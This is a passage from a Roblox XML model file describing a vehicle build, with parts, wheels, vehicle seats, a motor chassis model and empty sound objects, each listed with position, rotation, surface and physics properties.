					<Y>1.40350533</Y>
					<Z>-37.020874</Z>
					<R00>0.999812663</R00>
					<R01>-0.0133562144</R01>
					<R02>0.014009688</R02>
					<R10>-0.0128250867</R10>
					<R11>-0.999220312</R11>
					<R12>-0.0373396315</R12>
					<R20>0.0144974813</R20>
					<R21>0.0371529609</R21>
					<R22>-0.999204397</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.4348647</X>
					<Y>15.5177774</Y>
					<Z>0.284414977</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.916567624</X>
					<Y>-4.3874526</Y>
					<Z>-17.7752705</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1883">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">0mpe3ol</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1884">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>245.000061</X>
					<Y>4.2987771</Y>
					<Z>-8.50136089</Z>
					<R00>-1.00000012</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0.99999994</R11>
					<R12>-0.000366216525</R12>
					<R20>-0</R20>
					<R21>-0.000366216525</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>12</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="VehicleSeat" referent="RBX1885">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
					<X>216.999374</X>
					<Y>3.00052309</Y>
					<Z>-40.9999504</Z>
					<R00>-0.999999881</R00>
					<R01>-0.000427252613</R01>
					<R02>-6.51945697e-009</R02>
					<R10>-0.000427252613</R10>
					<R11>0.999999881</R11>
					<R12>3.05180438e-005</R12>
					<R20>-6.51945697e-009</R20>
					<R21>3.05180438e-005</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">30</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00118217827</X>
					<Y>0.00220030732</Y>
					<Z>-0.00017520129</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">4</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0.0139167672</X>
					<Y>0.00162589911</Y>
					<Z>0.00746486802</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1886">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="VehicleSeat" referent="RBX1887">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
					<X>245</X>
					<Y>3</Y>
					<Z>8</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">22</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00118217827</X>
					<Y>0.00220030732</Y>
					<Z>-0.00017520129</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">10</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0.0143022183</X>
					<Y>0.00162590353</Y>
					<Z>0.00486407615</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1888">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1889">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>220.010178</X>
					<Y>1.38677609</Y>
					<Z>-47.0107613</Z>
					<R00>-0.999996781</R00>
					<R01>0.00216214778</R01>
					<R02>0.00136455323</R02>
					<R10>-0.00231286557</R10>
					<R11>-0.992483556</R11>
					<R12>-0.122356355</R12>
					<R20>0.00108974415</R20>
					<R21>-0.122359112</R21>
					<R22>0.992485285</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-8.30184078</X>
					<Y>-0.335469633</Y>
					<Z>-1.31497884</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>5.66998434</X>
					<Y>4.75400543</Y>
					<Z>-11.1355906</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1890">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">zqnh9fn</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1891">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>219.980759</X>
					<Y>1.40028381</Y>
					<Z>-43.9751015</Z>
					<R00>-0.999516904</R00>
					<R01>0.0257176589</R01>
					<R02>0.0174501389</R02>
					<R10>-0.00899593346</R10>
					<R11>0.2980358</R11>
					<R12>-0.954512298</R12>
					<R20>-0.0297485888</R20>
					<R21>-0.954208195</R21>
					<R22>-0.2976605</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-5.66014242</X>
					<Y>6.24875546</Y>
					<Z>6.84838533</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-32.0390968</X>
					<Y>3.1297102</Y>
					<Z>-15.1949539</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1892">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">rgqlp</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1893">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>213.991653</X>
					<Y>1.39801955</Y>
					<Z>-35</Z>
					<R00>0.999992609</R00>
					<R01>0.00384823326</R01>
					<R02>-5.63026651e-006</R02>
					<R10>-0.00384823326</R10>
					<R11>0.999988317</R11>
					<R12>-0.00292805652</R12>
					<R20>-5.63764388e-006</R20>
					<R21>0.00292805652</R21>
					<R22>0.999995708</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>0.00447657797</X>
					<Y>0.00891302899</Y>
					<Z>1.02897441</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>45.0744629</X>
					<Y>-3.98943686</Y>
					<Z>0.00306974025</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1894">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">73de</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1895">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1005</int>
				<CoordinateFrame name="CFrame">
					<X>248.500046</X>
					<Y>3.09940839</Y>
					<Z>7.99915075</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>0.99999994</R11>
					<R12>-0.000305180438</R12>
					<R20>0</R20>
					<R21>-0.000305180438</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>5</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1896">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Motor (torque)Chassis</string>
				<Ref name="PrimaryPart">RBX1897</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1897">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.300000012</float>
					<float name="BottomParamB">0.300000012</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1020</int>
					<CoordinateFrame name="CFrame">
						<X>245</X>
						<Y>1.89999998</Y>
						<Z>-22</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00118217827</X>
						<Y>0.00220030732</Y>
						<Z>-0.00017520129</Z>
					</Vector3>
					<float name="TopParamA">-0.300000012</float>
					<float name="TopParamB">0.300000012</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.014109497</X>
						<Y>0.00162590353</Y>
						<Z>0.00616447208</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1.20000005</Y>
						<Z>12</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1898">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">8b2ksh</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1899">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1020</int>
					<CoordinateFrame name="CFrame">
						<X>241.000015</X>
						<Y>2.39968252</Y>
						<Z>-26.0101433</Z>
						<R00>-2.05452488e-005</R00>
						<R01>0.00407935865</R01>
						<R02>0.999991655</R02>
						<R10>0.000400553399</R10>
						<R11>0.999991596</R11>
						<R12>-0.00407935027</R12>
						<R20>-0.999999881</R20>
						<R21>0.000400466117</R21>
						<R22>-2.2179076e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">0.300000012</float>
					<float name="LeftParamB">0.300000012</float>
					<token name="LeftSurface">6</token>
					<token name="LeftSurfaceInput">2</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Right Front</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.56279999</X>
						<Y>-0.0658364221</Y>
						<Z>0.0173929241</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0687730387</X>
						<Y>-0.223307535</Y>
						<Z>-3.1123507</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1900">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">y398sd</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1901">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1020</int>
					<CoordinateFrame name="CFrame">
						<X>240.999985</X>
						<Y>2.39927197</Y>
						<Z>-18.0001545</Z>
						<R00>2.6746151e-005</R00>
						<R01>-0.00359311164</R01>
						<R02>0.999993563</R02>
						<R10>0.000219323178</R10>
						<R11>0.999993503</R11>
						<R12>0.00359310559</R12>
						<R20>-1</R20>
						<R21>0.000219225578</R21>
						<R22>2.75340299e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Left Front</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">0.300000012</float>
					<float name="RightParamB">0.300000012</float>
					<token name="RightSurface">6</token>
					<token name="RightSurfaceInput">1</token>
					<Vector3 name="RotVelocity">
						<X>0.408777118</X>
						<Y>-0.0300409645</Y>
						<Z>-0.00315033947</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.0222610291</X>
						<Y>0.709096611</Y>
						<Z>0.147314698</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1902">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">k2n5e8c</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1903">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1020</int>
					<CoordinateFrame name="CFrame">
						<X>249.001328</X>
						<Y>2.39256334</Y>
						<Z>-25.994978</Z>
						<R00>-0.00104526442</R00>
						<R01>-0.969882786</R01>
						<R02>0.24357003</R02>
						<R10>-0.00235395809</R10>
						<R11>0.243571848</R11>
						<R12>0.969879985</R12>
						<R20>-0.999996722</R20>
						<R21>0.000440399657</R21>
						<R22>-0.00253768195</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">0.300000012</float>
					<float name="LeftParamB">0.300000012</float>
					<token name="LeftSurface">6</token>
					<token name="LeftSurfaceInput">2</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Right Rear</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1.97653103</X>
						<Y>-5.31634521</Y>
						<Z>1.06845117</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>1.27307713</X>
						<Y>-5.19787979</Y>
